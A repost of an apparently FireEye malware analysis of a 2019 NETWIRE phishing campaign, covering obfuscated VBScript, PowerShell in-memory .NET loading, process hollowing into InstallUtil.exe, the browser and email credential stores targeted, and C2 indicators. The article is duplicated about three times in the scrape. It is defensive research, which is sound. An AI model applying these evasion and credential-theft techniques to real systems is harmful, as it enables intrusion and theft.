This blog post explores a recent phishing campaign observed in February 2019, where an attacker targeted multiple customers and successfully executed their payload without having to write the executable dropper or the payload to the disk. The campaign involved the use of VBScript, PowerShell and the .NET framework to perform a code injection attack using a process hollowing technique. The attacker abused the functionality of loading .NET assembly directly into memory of PowerShell to execute malicious code without creating any PE files on the disk.
Activity Summary
The user is prompted to open a document stored on Google Drive. The name of the file, shown in Figure 1, suggests that the actor was targeting members of the airline industry that use a particular aircraft model. We have observed an increasing number of attackers relying on cloud-based file storage services that bypass firewall restrictions to host their payload.
Figure 1: Malicious script hosted on Google Drive
As seen in Figure 2, attempting to open the script raises an alert from Internet Explorer saying that the publisher could not be verified. In our experience, many users will choose to ignore the warning and open the document.
Figure 2: Alert raised by Internet Explorer
Upon execution, after multiple levels of obfuscation, a PowerShell script is executed that loads a .NET assembly from a remote URL, functions of which are then used to inject the final payload (NETWIRE Trojan) into a benign Microsoft executable using process hollowing. This can potentially bypass application whitelisting since all processes spawned during the attack are legitimate Microsoft executables.
Technical Details
The initial document contains VBScript code. When the user opens it, Wscript is spawned by iexplore to execute this file. The script uses multiple layers of obfuscation to bypass static scanners, and ultimately runs a PowerShell script for executing the binary payload.
Obfuscation techniques used during different levels of script execution are shown in Figure 3 and Figure 4.
Figure 3: Type 1 obfuscation technique, which uses log functions to resolve a wide character
Figure 4: Type 2 obfuscation technique, which uses split and replace operations
This script then downloads and executes another encoded .vbs script from a paste.ee URL, as seen in Figure 5. Paste.ee is a less regulated alternative to Pastebin and we have seen multiple attacks using this service to host the payload. Since the website uses TLS, most firewall solutions cannot detect the malicious content being downloaded over the network.
Figure 5: Downloading the second-stage script and creating a scheduled task
The script achieves persistence by copying itself to Appdata/Roaming and using schtasks.exe to create a scheduled task that runs the VBScript every 15 minutes.
After further de-obfuscation of the downloaded second-stage VBScript, we obtain the PowerShell script that is executed through a shell object, as shown in Figure 6.
Figure 6: De-obfuscated PowerShell script
The PowerShell script downloads two Base64-encoded payloads from paste.ee that contain binary executable files. The strings are stored as PowerShell script variables and no files are created on disk.  
Microsoft has provided multiple ways of interacting with the .NET framework in PowerShell to enhance it through custom-developed features. These .NET integrations with PowerShell are particularly attractive to attackers due to the limited visibility that traditional security monitoring tools have around the runtime behaviors of .NET processes. For this reason, exploit frameworks such as CobaltStrike and Metasploit have options to generate their implants in .NET assembly code.
Here, the attackers have used the Load method from the System.Reflection.Assembly .NET Framework class. After the assembly is loaded as an instance of System.Reflection.Assembly, the members can be accessed through that object similarly to C#, as shown in Figure 7.
Figure 7: Formatted PowerShell code
The code identifies the installed version of .NET and uses it later to dynamically resolve the path to the .NET installation folder. The decoded dropper assembly is passed as an argument to the Load method. The resulting class instance is stored as a variable.
The objects of the dropper are accessed through this variable and method R is invoked. Method R of the .NET dropper is responsible for executing the final payload.
The following are the parameters for method R:
Path to InstallUtil.exe (or other .NET framework tools)
Decoded NETWIRE trojan
When we observed the list of processes spawned during the attack (Figure 8), we did not see the payload spawned as a separate process.  
Figure 8: Processes spawned during attack
We observed that the InstallUtil.exe process was being created in suspended mode. Once it started execution, we compared its memory artifacts to a benign execution of InstallUtil.exe and concluded that the malicious payload is being injected into the memory of the newly spawned InstallUtil.exe process. We also observed that no arguments are passed to InstallUtil, which would cause an error under normal execution since InstallUtil always expects at least one argument.
From a detection evasion perspective, the attacker has chosen an interesting approach. Even if the PowerShell process creation is detected, InstallUtil.exe is executed from its original path. Furthermore, InstallUtil.exe is a benign file often used by internal automations. To an unsuspecting system administrator, this might not seem malicious.
When we disassembled the .NET code and removed the obfuscation to understand how code injection was performed, we were able to identify Windows win32 API calls associated with process hollowing (Figure 9).
Figure 9: Windows APIs used in .NET dropper for process hollowing
After reversing and modifying the code of the C# dropper to invoke R from main, we were able to confirm that when the method R is invoked, InstallUtil.exe is spawned in suspended mode. The memory blocks of the suspended process are unmapped and rewritten with the sections of the payload program passed as an argument to method R. The thread is allowed to continue after changes have been made to the entry point. When the process hollowing is complete, the parent PowerShell process is terminated.
High-Level Analysis of the Payload
The final payload was identified by FireEye Intelligence as a NETWIRE backdoor. The backdoor receives commands from a command and control (C2) server, performs reconnaissance that includes the collection of user data, and returns the information to the C2 server.
Capabilities of the NETWIRE backdoor include key logging, reverse shell, and password theft. The backdoor uses a custom encryption algorithm to encrypt data and then writes it to a file created in the ./LOGS directory.
The malware also contains a custom obfuscation algorithm to hide registry keys, APIs, DLL names, and other strings from static analysis. Figure 10 provides the decompiled version of the custom decoding algorithm used on these strings.
Figure 10: Decompiled string decoding algorithm
From reversing and analyzing the behavior of the malware, we were able to identify the following capabilities:
Record mouse and keyboard events
Capture session logon details
Capture system details
Take screenshots
Monitor CPU usage
Create fake HTTP proxy
From the list of decoded strings, we were able to identify other features of this sample:
“POP3”
“IMAP”
“SMTP”
“HTTP”
“Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\”
“Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\”
“Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\”
  Stealing data from an email client
    “GoogleChromeUser DataDefaultLogin Data”
“ChromiumUser DataDefaultLogin Data”
“ComodoDragonUser DataDefaultLogin Data”
“YandexYandexBrowserUser DataDefaultLogin Data”
“Opera SoftwareOpera StableLogin Data”
“SoftwareMicrosoftInternet ExplorerIntelliFormsStorage2”
“vaultcli.dll: VaultOpenVault,VaultCloseVault,VaultEnumerateItem,VaultGetItem,VaultFree”
“select *  from moz_login”
  Stealing login details from browsers
  A complete report on the NETWIRE backdoor family is available to customers who subscribe to the FireEye Intelligence portal.
Indicators of Compromise
Host-based indicators:
dac4ed7c1c56de7d74eb238c566637aa
Initial attack vector .vbs file
Network-based indicators:
178.239.21.]62:1919
kingshakes[.]linkpc[.]net
  105.112.35[.]72:3575
homi[.]myddns[.]rocks
C2 domains of NETWIRE Trojan
FireEye Detection
FireEye detection names for the indicators in the attack:
Endpoint security
Exploit Guard: Blocks execution of wscript
IOC: POWERSHELL DOWNLOADER D (METHODOLOGY)
AV: Trojan.Agent.DRAI
Network Security
Backdoor.Androm
Email Security
Malicious.URL
Malware.Binary.vbs
Conclusion
Malware authors continue to use different “fileless” process execution techniques to reduce the number of indicators on an endpoint. The lack of visibility into .NET process execution combined with the flexibility of PowerShell makes this technique all the more effective.
FireEye Endpoint Security and the FireEye Network Security detect and block this attack at several stages of the attack chain.
Acknowledgement
We would like to thank Frederick House, Arvind Gowda, Nart Villeneuve and Nick Carr for their valuable feedback.
#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */
Go to Source Author: Sumith Maniath Dissecting a NETWIRE Phishing Campaign’s Usage of Process Hollowing Original Post from FireEye Author: Sumith Maniath Introduction Malware authors attempt to evade detection by executing their…
0 notes
terabitweb · 6 years ago
Text
Original Post from FireEye Author: Sumith Maniath
Introduction
Malware authors attempt to evade detection by executing their payload without having to write the executable file on the disk. One of the most commonly seen techniques of this “fileless” execution is code injection. Rather than executing the malware directly, attackers inject the malware code into the memory of another process that is already running.
Due to its presence on all Windows 7 and later machines and the sheer number of supported features, PowerShell has been a favorite tool of attackers for some time. FireEye has published multiple reports where PowerShell was used during initial malware delivery or during post-exploitation activities. Attackers have abused PowerShell to easily interact with other Windows components to perform their activities with stealth and speed.
This blog post explores a recent phishing campaign observed in February 2019, where an attacker targeted multiple customers and successfully executed their payload without having to write the executable dropper or the payload to the disk. The campaign involved the use of VBScript, PowerShell and the .NET framework to perform a code injection attack using a process hollowing technique. The attacker abused the functionality of loading .NET assembly directly into memory of PowerShell to execute malicious code without creating any PE files on the disk.
Activity Summary
The user is prompted to open a document stored on Google Drive. The name of the file, shown in Figure 1, suggests that the actor was targeting members of the airline industry that use a particular aircraft model. We have observed an increasing number of attackers relying on cloud-based file storage services that bypass firewall restrictions to host their payload.
Figure 1: Malicious script hosted on Google Drive
As seen in Figure 2, attempting to open the script raises an alert from Internet Explorer saying that the publisher could not be verified. In our experience, many users will choose to ignore the warning and open the document.
Figure 2: Alert raised by Internet Explorer
Upon execution, after multiple levels of obfuscation, a PowerShell script is executed that loads a .NET assembly from a remote URL, functions of which are then used to inject the final payload (NETWIRE Trojan) into a benign Microsoft executable using process hollowing. This can potentially bypass application whitelisting since all processes spawned during the attack are legitimate Microsoft executables.
Technical Details
The initial document contains VBScript code. When the user opens it, Wscript is spawned by iexplore to execute this file. The script uses multiple layers of obfuscation to bypass static scanners, and ultimately runs a PowerShell script for executing the binary payload.
Obfuscation techniques used during different levels of script execution are shown in Figure 3 and Figure 4.
Figure 3: Type 1 obfuscation technique, which uses log functions to resolve a wide character
Figure 4: Type 2 obfuscation technique, which uses split and replace operations
This script then downloads and executes another encoded .vbs script from a paste.ee URL, as seen in Figure 5. Paste.ee is a less regulated alternative to Pastebin and we have seen multiple attacks using this service to host the payload. Since the website uses TLS, most firewall solutions cannot detect the malicious content being downloaded over the network.
Figure 5: Downloading the second-stage script and creating a scheduled task
The script achieves persistence by copying itself to Appdata/Roaming and using schtasks.exe to create a scheduled task that runs the VBScript every 15 minutes.
After further de-obfuscation of the downloaded second-stage VBScript, we obtain the PowerShell script that is executed through a shell object, as shown in Figure 6.
Figure 6: De-obfuscated PowerShell script
The PowerShell script downloads two Base64-encoded payloads from paste.ee that contain binary executable files. The strings are stored as PowerShell script variables and no files are created on disk.  
Microsoft has provided multiple ways of interacting with the .NET framework in PowerShell to enhance it through custom-developed features. These .NET integrations with PowerShell are particularly attractive to attackers due to the limited visibility that traditional security monitoring tools have around the runtime behaviors of .NET processes. For this reason, exploit frameworks such as CobaltStrike and Metasploit have options to generate their implants in .NET assembly code.
Here, the attackers have used the Load method from the System.Reflection.Assembly .NET Framework class. After the assembly is loaded as an instance of System.Reflection.Assembly, the members can be accessed through that object similarly to C#, as shown in Figure 7.
Figure 7: Formatted PowerShell code
The code identifies the installed version of .NET and uses it later to dynamically resolve the path to the .NET installation folder. The decoded dropper assembly is passed as an argument to the Load method. The resulting class instance is stored as a variable.
The objects of the dropper are accessed through this variable and method R is invoked. Method R of the .NET dropper is responsible for executing the final payload.
The following are the parameters for method R:
Path to InstallUtil.exe (or other .NET framework tools)
Decoded NETWIRE trojan
When we observed the list of processes spawned during the attack (Figure 8), we did not see the payload spawned as a separate process.  
Figure 8: Processes spawned during attack
We observed that the InstallUtil.exe process was being created in suspended mode. Once it started execution, we compared its memory artifacts to a benign execution of InstallUtil.exe and concluded that the malicious payload is being injected into the memory of the newly spawned InstallUtil.exe process. We also observed that no arguments are passed to InstallUtil, which would cause an error under normal execution since InstallUtil always expects at least one argument.
From a detection evasion perspective, the attacker has chosen an interesting approach. Even if the PowerShell process creation is detected, InstallUtil.exe is executed from its original path. Furthermore, InstallUtil.exe is a benign file often used by internal automations. To an unsuspecting system administrator, this might not seem malicious.
When we disassembled the .NET code and removed the obfuscation to understand how code injection was performed, we were able to identify Windows win32 API calls associated with process hollowing (Figure 9).
Figure 9: Windows APIs used in .NET dropper for process hollowing
After reversing and modifying the code of the C# dropper to invoke R from main, we were able to confirm that when the method R is invoked, InstallUtil.exe is spawned in suspended mode. The memory blocks of the suspended process are unmapped and rewritten with the sections of the payload program passed as an argument to method R. The thread is allowed to continue after changes have been made to the entry point. When the process hollowing is complete, the parent PowerShell process is terminated.
High-Level Analysis of the Payload
The final payload was identified by FireEye Intelligence as a NETWIRE backdoor. The backdoor receives commands from a command and control (C2) server, performs reconnaissance that includes the collection of user data, and returns the information to the C2 server.
Capabilities of the NETWIRE backdoor include key logging, reverse shell, and password theft. The backdoor uses a custom encryption algorithm to encrypt data and then writes it to a file created in the ./LOGS directory.
The malware also contains a custom obfuscation algorithm to hide registry keys, APIs, DLL names, and other strings from static analysis. Figure 10 provides the decompiled version of the custom decoding algorithm used on these strings.
Figure 10: Decompiled string decoding algorithm
From reversing and analyzing the behavior of the malware, we were able to identify the following capabilities:
Record mouse and keyboard events
Capture session logon details
Capture system details
Take screenshots
Monitor CPU usage
Create fake HTTP proxy
From the list of decoded strings, we were able to identify other features of this sample:
“POP3”
“IMAP”
“SMTP”
“HTTP”
“Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\”
“Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\”
“Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\”
  Stealing data from an email client
    “GoogleChromeUser DataDefaultLogin Data”
“ChromiumUser DataDefaultLogin Data”
“ComodoDragonUser DataDefaultLogin Data”
“YandexYandexBrowserUser DataDefaultLogin Data”
“Opera SoftwareOpera StableLogin Data”
“SoftwareMicrosoftInternet ExplorerIntelliFormsStorage2”
“vaultcli.dll: VaultOpenVault,VaultCloseVault,VaultEnumerateItem,VaultGetItem,VaultFree”
“select *  from moz_login”
  Stealing login details from browsers
  A complete report on the NETWIRE backdoor family is available to customers who subscribe to the FireEye Intelligence portal.
Indicators of Compromise
Host-based indicators:
dac4ed7c1c56de7d74eb238c566637aa
Initial attack vector .vbs file
Network-based indicators:
178.239.21.]62:1919
kingshakes[.]linkpc[.]net
  105.112.35[.]72:3575
homi[.]myddns[.]rocks
C2 domains of NETWIRE Trojan
FireEye Detection
FireEye detection names for the indicators in the attack:
Endpoint security
Exploit Guard: Blocks execution of wscript
IOC: POWERSHELL DOWNLOADER D (METHODOLOGY)
AV: Trojan.Agent.DRAI
Network Security
Backdoor.Androm
Email Security
Malicious.URL
Malware.Binary.vbs
Conclusion
Malware authors continue to use different “fileless” process execution techniques to reduce the number of indicators on an endpoint. The lack of visibility into .NET process execution combined with the flexibility of PowerShell makes this technique all the more effective.
FireEye Endpoint Security and the FireEye Network Security detect and block this attack at several stages of the attack chain.
Acknowledgement
We would like to thank Frederick House, Arvind Gowda, Nart Villeneuve and Nick Carr for their valuable feedback.
#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */
Go to Source Author: Sumith Maniath Dissecting a NETWIRE Phishing Campaign’s Usage of Process Hollowing Original Post from FireEye Author: Sumith Maniath Introduction Malware authors attempt to evade detection by executing their…
0 notes
terabitweb · 6 years ago
Text
Original Post from FireEye Author: Sumith Maniath
Introduction
Malware authors attempt to evade detection by executing their payload without having to write the executable file on the disk. One of the most commonly seen techniques of this “fileless” execution is code injection. Rather than executing the malware directly, attackers inject the malware code into the memory of another process that is already running.
Due to its presence on all Windows 7 and later machines and the sheer number of supported features, PowerShell has been a favorite tool of attackers for some time. FireEye has published multiple reports where PowerShell was used during initial malware delivery or during post-exploitation activities. Attackers have abused PowerShell to easily interact with other Windows components to perform their activities with stealth and speed.
This blog post explores a recent phishing campaign observed in February 2019, where an attacker targeted multiple customers and successfully executed their payload without having to write the executable dropper or the payload to the disk. The campaign involved the use of VBScript, PowerShell and the .NET framework to perform a code injection attack using a process hollowing technique. The attacker abused the functionality of loading .NET assembly directly into memory of PowerShell to execute malicious code without creating any PE files on the disk.
Activity Summary
The user is prompted to open a document stored on Google Drive. The name of the file, shown in Figure 1, suggests that the actor was targeting members of the airline industry that use a particular aircraft model. We have observed an increasing number of attackers relying on cloud-based file storage services that bypass firewall restrictions to host their payload.
Figure 1: Malicious script hosted on Google Drive
As seen in Figure 2, attempting to open the script raises an alert from Internet Explorer saying that the publisher could not be verified. In our experience, many users will choose to ignore the warning and open the document.
Figure 2: Alert raised by Internet Explorer
Upon execution, after multiple levels of obfuscation, a PowerShell script is executed that loads a .NET assembly from a remote URL, functions of which are then used to inject the final payload (NETWIRE Trojan) into a benign Microsoft executable using process hollowing. This can potentially bypass application whitelisting since all processes spawned during the attack are legitimate Microsoft executables.
Technical Details
The initial document contains VBScript code. When the user opens it, Wscript is spawned by iexplore to execute this file. The script uses multiple layers of obfuscation to bypass static scanners, and ultimately runs a PowerShell script for executing the binary payload.
Obfuscation techniques used during different levels of script execution are shown in Figure 3 and Figure 4.
Figure 3: Type 1 obfuscation technique, which uses log functions to resolve a wide character
Figure 4: Type 2 obfuscation technique, which uses split and replace operations
This script then downloads and executes another encoded .vbs script from a paste.ee URL, as seen in Figure 5. Paste.ee is a less regulated alternative to Pastebin and we have seen multiple attacks using this service to host the payload. Since the website uses TLS, most firewall solutions cannot detect the malicious content being downloaded over the network.
Figure 5: Downloading the second-stage script and creating a scheduled task
The script achieves persistence by copying itself to Appdata/Roaming and using schtasks.exe to create a scheduled task that runs the VBScript every 15 minutes.
After further de-obfuscation of the downloaded second-stage VBScript, we obtain the PowerShell script that is executed through a shell object, as shown in Figure 6.
Figure 6: De-obfuscated PowerShell script
The PowerShell script downloads two Base64-encoded payloads from paste.ee that contain binary executable files. The strings are stored as PowerShell script variables and no files are created on disk.  
Microsoft has provided multiple ways of interacting with the .NET framework in PowerShell to enhance it through custom-developed features. These .NET integrations with PowerShell are particularly attractive to attackers due to the limited visibility that traditional security monitoring tools have around the runtime behaviors of .NET processes. For this reason, exploit frameworks such as CobaltStrike and Metasploit have options to generate their implants in .NET assembly code.
Here, the attackers have used the Load method from the System.Reflection.Assembly .NET Framework class. After the assembly is loaded as an instance of System.Reflection.Assembly, the members can be accessed through that object similarly to C#, as shown in Figure 7.
Figure 7: Formatted PowerShell code
The code identifies the installed version of .NET and uses it later to dynamically resolve the path to the .NET installation folder. The decoded dropper assembly is passed as an argument to the Load method. The resulting class instance is stored as a variable.
The objects of the dropper are accessed through this variable and method R is invoked. Method R of the .NET dropper is responsible for executing the final payload.
The following are the parameters for method R:
Path to InstallUtil.exe (or other .NET framework tools)
Decoded NETWIRE trojan
When we observed the list of processes spawned during the attack (Figure 8), we did not see the payload spawned as a separate process.  
Figure 8: Processes spawned during attack
We observed that the InstallUtil.exe process was being created in suspended mode. Once it started execution, we compared its memory artifacts to a benign execution of InstallUtil.exe and concluded that the malicious payload is being injected into the memory of the newly spawned InstallUtil.exe process. We also observed that no arguments are passed to InstallUtil, which would cause an error under normal execution since InstallUtil always expects at least one argument.
From a detection evasion perspective, the attacker has chosen an interesting approach. Even if the PowerShell process creation is detected, InstallUtil.exe is executed from its original path. Furthermore, InstallUtil.exe is a benign file often used by internal automations. To an unsuspecting system administrator, this might not seem malicious.
When we disassembled the .NET code and removed the obfuscation to understand how code injection was performed, we were able to identify Windows win32 API calls associated with process hollowing (Figure 9).
Figure 9: Windows APIs used in .NET dropper for process hollowing
After reversing and modifying the code of the C# dropper to invoke R from main, we were able to confirm that when the method R is invoked, InstallUtil.exe is spawned in suspended mode. The memory blocks of the suspended process are unmapped and rewritten with the sections of the payload program passed as an argument to method R. The thread is allowed to continue after changes have been made to the entry point. When the process hollowing is complete, the parent PowerShell process is terminated.
High-Level Analysis of the Payload
The final payload was identified by FireEye Intelligence as a NETWIRE backdoor. The backdoor receives commands from a command and control (C2) server, performs reconnaissance that includes the collection of user data, and returns the information to the C2 server.
Capabilities of the NETWIRE backdoor include key logging, reverse shell, and password theft. The backdoor uses a custom encryption algorithm to encrypt data and then writes it to a file created in the ./LOGS directory.
The malware also contains a custom obfuscation algorithm to hide registry keys, APIs, DLL names, and other strings from static analysis. Figure 10 provides the decompiled version of the custom decoding algorithm used on these strings.
Figure 10: Decompiled string decoding algorithm
From reversing and analyzing the behavior of the malware, we were able to identify the following capabilities:
Record mouse and keyboard events
Capture session logon details
Capture system details
Take screenshots
Monitor CPU usage
Create fake HTTP proxy
From the list of decoded strings, we were able to identify other features of this sample:
“POP3”
“IMAP”
“SMTP”
“HTTP”
“Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\”
“Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\”
“Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\”
  Stealing data from an email client
    “GoogleChromeUser DataDefaultLogin Data”
“ChromiumUser DataDefaultLogin Data”
“ComodoDragonUser DataDefaultLogin Data”
“YandexYandexBrowserUser DataDefaultLogin Data”
“Opera SoftwareOpera StableLogin Data”
“SoftwareMicrosoftInternet ExplorerIntelliFormsStorage2”
“vaultcli.dll: VaultOpenVault,VaultCloseVault,VaultEnumerateItem,VaultGetItem,VaultFree”
“select *  from moz_login”
  Stealing login details from browsers
  A complete report on the NETWIRE backdoor family is available to customers who subscribe to the FireEye Intelligence portal.
Indicators of Compromise
Host-based indicators:
dac4ed7c1c56de7d74eb238c566637aa
Initial attack vector .vbs file
Network-based indicators:
178.239.21.]62:1919
kingshakes[.]linkpc[.]net
  105.112.35[.]72:3575
homi[.]myddns[.]rocks
C2 domains of NETWIRE Trojan
FireEye Detection
FireEye detection names for the indicators in the attack:
Endpoint security
Exploit Guard: Blocks execution of wscript
IOC: POWERSHELL DOWNLOADER D (METHODOLOGY)
AV: Trojan.Agent.DRAI
Network Security
Backdoor.Androm
Email Security
Malicious.URL
Malware.Binary.vbs
Conclusion
Malware authors continue to use different “fileless” process execution techniques to reduce the number of indicators on an endpoint. The lack of visibility into .NET process execution combined with the flexibility of PowerShell makes this technique all the more effective.
FireEye Endpoint Security and the FireEye Network Security detect and block this attack at several stages of the attack chain.
Acknowledgement
We would like to thank Frederick House, Arvind Gowda, Nart Villeneuve and Nick Carr for their valuable feedback.
#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */
Go to Source Author: Sumith Maniath Dissecting a NETWIRE Phishing Campaign’s Usage of Process Hollowing Original Post from FireEye Author: Sumith Maniath Introduction Malware authors attempt to evade detection by executing their…
0 notes
terabitweb · 6 years ago
Text
Original Post from FireEye Author: Sumith Maniath
Introduction
Malware authors attempt to evade detection by executing their payload without having to write the executable file on the disk. One of the most commonly seen techniques of this “fileless” execution is code injection. Rather than executing the malware directly, attackers inject the malware code into the memory of another process that is already running.
Due to its presence on all Windows 7 and later machines and the sheer number of supported features, PowerShell has been a favorite tool of attackers for some time. FireEye has published multiple reports where PowerShell was used during initial malware delivery or during post-exploitation activities. Attackers have abused PowerShell to easily interact with other Windows components to perform their activities with stealth and speed.
This blog post explores a recent phishing campaign observed in February 2019, where an attacker targeted multiple customers and successfully executed their payload without having to write the executable dropper or the payload to the disk. The campaign involved the use of VBScript, PowerShell and the .NET framework to perform a code injection attack using a process hollowing technique. The attacker abused the functionality of loading .NET assembly directly into memory of PowerShell to execute malicious code without creating any PE files on the disk.
Activity Summary
The user is prompted to open a document stored on Google Drive. The name of the file, shown in Figure 1, suggests that the actor was targeting members of the airline industry that use a particular aircraft model. We have observed an increasing number of attackers relying on cloud-based file storage services that bypass firewall restrictions to host their payload.
Figure 1: Malicious script hosted on Google Drive
As seen in Figure 2, attempting to open the script raises an alert from Internet Explorer saying that the publisher could not be verified. In our experience, many users will choose to ignore the warning and open the document.
Figure 2: Alert raised by Internet Explorer
Upon execution, after multiple levels of obfuscation, a PowerShell script is executed that loads a .NET assembly from a remote URL, functions of which are then used to inject the final payload (NETWIRE Trojan) into a benign Microsoft executable using process hollowing. This can potentially bypass application whitelisting since all processes spawned during the attack are legitimate Microsoft executables.
Technical Details
The initial document contains VBScript code. When the user opens it, Wscript is spawned by iexplore to execute this file. The script uses multiple layers of obfuscation to bypass static scanners, and ultimately runs a PowerShell script for executing the binary payload.
Obfuscation techniques used during different levels of script execution are shown in Figure 3 and Figure 4.
Figure 3: Type 1 obfuscation technique, which uses log functions to resolve a wide character
Figure 4: Type 2 obfuscation technique, which uses split and replace operations
This script then downloads and executes another encoded .vbs script from a paste.ee URL, as seen in Figure 5. Paste.ee is a less regulated alternative to Pastebin and we have seen multiple attacks using this service to host the payload. Since the website uses TLS, most firewall solutions cannot detect the malicious content being downloaded over the network.
Figure 5: Downloading the second-stage script and creating a scheduled task
The script achieves persistence by copying itself to Appdata/Roaming and using schtasks.exe to create a scheduled task that runs the VBScript every 15 minutes.
After further de-obfuscation of the downloaded second-stage VBScript, we obtain the PowerShell script that is executed through a shell object, as shown in Figure 6.
Figure 6: De-obfuscated PowerShell script
The PowerShell script downloads two Base64-encoded payloads from paste.ee that contain binary executable files. The strings are stored as PowerShell script variables and no files are created on disk.  
Microsoft has provided multiple ways of interacting with the .NET framework in PowerShell to enhance it through custom-developed features. These .NET integrations with PowerShell are particularly attractive to attackers due to the limited visibility that traditional security monitoring tools have around the runtime behaviors of .NET processes. For this reason, exploit frameworks such as CobaltStrike and Metasploit have options to generate their implants in .NET assembly code.
Here, the attackers have used the Load method from the System.Reflection.Assembly .NET Framework class. After the assembly is loaded as an instance of System.Reflection.Assembly, the members can be accessed through that object similarly to C#, as shown in Figure 7.
Figure 7: Formatted PowerShell code
The code identifies the installed version of .NET and uses it later to dynamically resolve the path to the .NET installation folder. The decoded dropper assembly is passed as an argument to the Load method. The resulting class instance is stored as a variable.
The objects of the dropper are accessed through this variable and method R is invoked. Method R of the .NET dropper is responsible for executing the final payload.
The following are the parameters for method R:
Path to InstallUtil.exe (or other .NET framework tools)
Decoded NETWIRE trojan
When we observed the list of processes spawned during the attack (Figure 8), we did not see the payload spawned as a separate process.  
Figure 8: Processes spawned during attack
We observed that the InstallUtil.exe process was being created in suspended mode. Once it started execution, we compared its memory artifacts to a benign execution of InstallUtil.exe and concluded that the malicious payload is being injected into the memory of the newly spawned InstallUtil.exe process. We also observed that no arguments are passed to InstallUtil, which would cause an error under normal execution since InstallUtil always expects at least one argument.
From a detection evasion perspective, the attacker has chosen an interesting approach. Even if the PowerShell process creation is detected, InstallUtil.exe is executed from its original path. Furthermore, InstallUtil.exe is a benign file often used by internal automations. To an unsuspecting system administrator, this might not seem malicious.
When we disassembled the .NET code and removed the obfuscation to understand how code injection was performed, we were able to identify Windows win32 API calls associated with process hollowing (Figure 9).
Figure 9: Windows APIs used in .NET dropper for process hollowing
After reversing and modifying the code of the C# dropper to invoke R from main, we were able to confirm that when the method R is invoked, InstallUtil.exe is spawned in suspended mode. The memory blocks of the suspended process are unmapped and rewritten with the sections of the payload program passed as an argument to method R. The thread is allowed to continue after changes have been made to the entry point. When the process hollowing is complete, the parent PowerShell process is terminated.
High-Level Analysis of the Payload
The final payload was identified by FireEye Intelligence as a NETWIRE backdoor. The backdoor receives commands from a command and control (C2) server, performs reconnaissance that includes the collection of user data, and returns the information to the C2 server.
Capabilities of the NETWIRE backdoor include key logging, reverse shell, and password theft. The backdoor uses a custom encryption algorithm to encrypt data and then writes it to a file created in the ./LOGS directory.
The malware also contains a custom obfuscation algorithm to hide registry keys, APIs, DLL names, and other strings from static analysis. Figure 10 provides the decompiled version of the custom decoding algorithm used on these strings.
Figure 10: Decompiled string decoding algorithm
From reversing and analyzing the behavior of the malware, we were able to identify the following capabilities:
Record mouse and keyboard events
Capture session logon details
Capture system details
Take screenshots
Monitor CPU usage
Create fake HTTP proxy
From the list of decoded strings, we were able to identify other features of this sample:
“POP3”
“IMAP”
“SMTP”
“HTTP”
“Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\”
“Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\”
“Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\”
  Stealing data from an email client
    “GoogleChromeUser DataDefaultLogin Data”
“ChromiumUser DataDefaultLogin Data”
“ComodoDragonUser DataDefaultLogin Data”
“YandexYandexBrowserUser DataDefaultLogin Data”
“Opera SoftwareOpera StableLogin Data”
“SoftwareMicrosoftInternet ExplorerIntelliFormsStorage2”
“vaultcli.dll: VaultOpenVault,VaultCloseVault,VaultEnumerateItem,VaultGetItem,VaultFree”
“select *  from moz_login”
  Stealing login details from browsers
  A complete report on the NETWIRE backdoor family is available to customers who subscribe to the FireEye Intelligence portal.
Indicators of Compromise
Host-based indicators:
dac4ed7c1c56de7d74eb238c566637aa
Initial attack vector .vbs file
Network-based indicators:
178.239.21.]62:1919
kingshakes[.]linkpc[.]net
  105.112.35[.]72:3575
homi[.]myddns[.]rocks
C2 domains of NETWIRE Trojan
FireEye Detection
FireEye detection names for the indicators in the attack:
Endpoint security
Exploit Guard: Blocks execution of wscript
IOC: POWERSHELL DOWNLOADER D (METHODOLOGY)
AV: Trojan.Agent.DRAI
Network Security
Backdoor.Androm
Email Security
Malicious.URL
Malware.Binary.vbs
Conclusion
Malware authors continue to use different “fileless” process execution techniques to reduce the number of indicators on an endpoint. The lack of visibility into .NET process execution combined with the flexibility of PowerShell makes this technique all the more effective.
FireEye Endpoint Security and the FireEye Network Security detect and block this attack at several stages of the attack chain.
Acknowledgement
We would like to thank Frederick House, Arvind Gowda, Nart Villeneuve and Nick Carr for their valuable feedback.
#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */
Go to Source Author: Sumith Maniath Dissecting a NETWIRE Phishing Campaign’s Usage of Process Hollowing Original Post from FireEye Author: Sumith Maniath Introduction Malware authors attempt to evade detection by executing their…
0 notes